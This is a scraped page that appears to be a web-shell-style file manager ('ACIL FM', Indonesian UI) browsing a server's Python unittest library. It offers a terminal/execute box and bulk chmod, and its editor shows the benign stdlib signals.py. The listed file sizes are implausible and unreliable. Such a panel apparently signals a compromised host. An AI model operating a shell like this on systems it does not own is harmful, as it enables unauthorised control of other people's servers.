ACIL FM
Dark
Refresh
Current DIR:
/lib64/python3.9/unittest
/
lib64
python3.9
unittest
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
__pycache__
-
chmod
Open
Rename
Delete
async_case.py
6.22 MB
chmod
View
DL
Edit
Rename
Delete
case.py
55.82 MB
chmod
View
DL
Edit
Rename
Delete
loader.py
22.17 MB
chmod
View
DL
Edit
Rename
Delete
main.py
10.99 MB
chmod
View
DL
Edit
Rename
Delete
mock.py
96.89 MB
chmod
View
DL
Edit
Rename
Delete
result.py
8.17 MB
chmod
View
DL
Edit
Rename
Delete
runner.py
7.86 MB
chmod
View
DL
Edit
Rename
Delete
signals.py
2.35 MB
chmod
View
DL
Edit
Rename
Delete
suite.py
13.2 MB
chmod
View
DL
Edit
Rename
Delete
util.py
5.09 MB
chmod
View
DL
Edit
Rename
Delete
_log.py
2.24 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
3.67 MB
chmod
View
DL
Edit
Rename
Delete
__main__.py
472 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /lib64/python3.9/unittest/signals.py
import signal import weakref from functools import wraps __unittest = True class _InterruptHandler(object): def __init__(self, default_handler): self.called = False self.original_handler = default_handler if isinstance(default_handler, int): if default_handler == signal.SIG_DFL: # Pretend it's signal.default_int_handler instead. default_handler = signal.default_int_handler elif default_handler == signal.SIG_IGN: # Not quite the same thing as SIG_IGN, but the closest we # can make it: do nothing. def default_handler(unused_signum, unused_frame): pass else: raise TypeError("expected SIGINT signal handler to be " "signal.SIG_IGN, signal.SIG_DFL, or a " "callable object") self.default_handler = default_handler def __call__(self, signum, frame): installed_handler = signal.getsignal(signal.SIGINT) if installed_handler is not self: # if we aren't the installed handler, then delegate immediately # to the default handler self.default_handler(signum, frame) if self.called: self.default_handler(signum, frame) self.called = True for result in _results.keys(): result.stop() _results = weakref.WeakKeyDictionary() def registerResult(result): _results[result] = 1 def removeResult(result): return bool(_results.pop(result, None)) _interrupt_handler = None def installHandler(): global _interrupt_handler if _interrupt_handler is None: default_handler = signal.getsignal(signal.SIGINT) _interrupt_handler = _InterruptHandler(default_handler) signal.signal(signal.SIGINT, _interrupt_handler) def removeHandler(method=None): if method is not None: @wraps(method) def inner(*args, **kwargs): initial = signal.getsignal(signal.SIGINT) removeHandler() try: return method(*args, **kwargs) finally: signal.signal(signal.SIGINT, initial) return inner global _interrupt_handler if _interrupt_handler is not None: signal.signal(signal.SIGINT, _interrupt_handler.original_handler)
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply